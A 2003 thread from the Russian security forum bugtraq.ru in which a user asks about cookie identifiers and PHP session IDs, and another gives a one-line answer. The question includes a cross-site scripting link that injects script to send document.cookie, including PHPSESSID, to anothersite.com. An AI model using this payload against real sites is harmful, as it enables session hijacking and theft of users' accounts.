информационная безопасность
без паники и всерьез
 подробно о проекте
Портрет посетителяВсе любят медЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 PHP2Shell начали эксплуатировать... 
 Четыре уязвимости Plex объединяют... 
 Вредоносный релиз LiteLLM 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / web building
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
несколько вопросов по кукиз и сессиям 19.08.03 00:44  Число просмотров: 2168
Автор: Night Angel Статус: Незарегистрированный пользователь
<"чистая" ссылка>
id сессии передаётся либо в куках, либо в URL, либо ещё как настроишь (например: 123sessionID456.domain.com).
<web building>
несколько вопросов по кукиз и сессиям 18.08.03 23:07  
Автор: tdes <jin> Статус: Member
Отредактировано 18.08.03 23:13  Количество правок: 1
<"чистая" ссылка>
1)
кукиз выглядят следующим образом:

Charsetwindows-1255www.site.com/13363483455572963394320598523229582783*

каким образом вычисляется этот длинющий идентификатор ?

2)

если набить примерно такой линк:
<a href="http://www.site.com/script.php?q=<Script>location='http://www.anothersite.com/script2.php?s='+(document.cookie);</Script>" > clickme </a>
то соответственно на script2 придет весь "дамп" кукиз и что характерно,
PHPSESSID=b1383934489331d7ee3751089f97d710!!!!
вопрос, почему это происходит (в смысле откуда берется id сессии в document.cookie) ?

10x
несколько вопросов по кукиз и сессиям 19.08.03 00:44  
Автор: Night Angel Статус: Незарегистрированный пользователь
<"чистая" ссылка>
id сессии передаётся либо в куках, либо в URL, либо ещё как настроишь (например: 123sessionID456.domain.com).
1





Рейтинг@Mail.ru


  Copyright © 2001-2026 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach